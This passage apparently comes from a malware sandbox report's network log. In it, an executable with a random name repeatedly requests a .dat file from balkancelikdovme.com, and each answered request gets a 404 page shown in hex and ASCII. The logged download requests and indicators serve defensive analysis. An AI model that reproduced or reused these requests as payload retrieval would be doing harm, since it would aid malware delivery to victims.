2025-01-10 21:38:20 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49871	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:20 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:20 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:20 GMT vary: User-Agent
2025-01-10 21:38:20 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49877	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:21 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:21 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:21 GMT vary: User-Agent
2025-01-10 21:38:21 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49883	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:22 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:22 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:22 GMT vary: User-Agent
2025-01-10 21:38:22 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49889	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:23 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:23 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:23 GMT vary: User-Agent
2025-01-10 21:38:23 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49896	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:24 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:24 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:24 GMT vary: User-Agent
2025-01-10 21:38:24 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49902	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:25 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:25 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:25 GMT vary: User-Agent
2025-01-10 21:38:25 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49912	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:26 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:26 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:26 GMT vary: User-Agent
2025-01-10 21:38:26 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49918	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:26 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:27 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:27 GMT vary: User-Agent
2025-01-10 21:38:27 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49924	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:27 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:28 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:27 GMT vary: User-Agent
2025-01-10 21:38:28 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49930	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:28 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:28 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:28 GMT vary: User-Agent
2025-01-10 21:38:28 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49936	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:29 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:29 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:29 GMT vary: User-Agent
2025-01-10 21:38:29 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49941	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:30 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:30 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:30 GMT vary: User-Agent
2025-01-10 21:38:30 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49947	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:31 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:31 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:31 GMT vary: User-Agent
2025-01-10 21:38:31 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49955	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:38:32 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:38:32 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:38:32 GMT vary: User-Agent
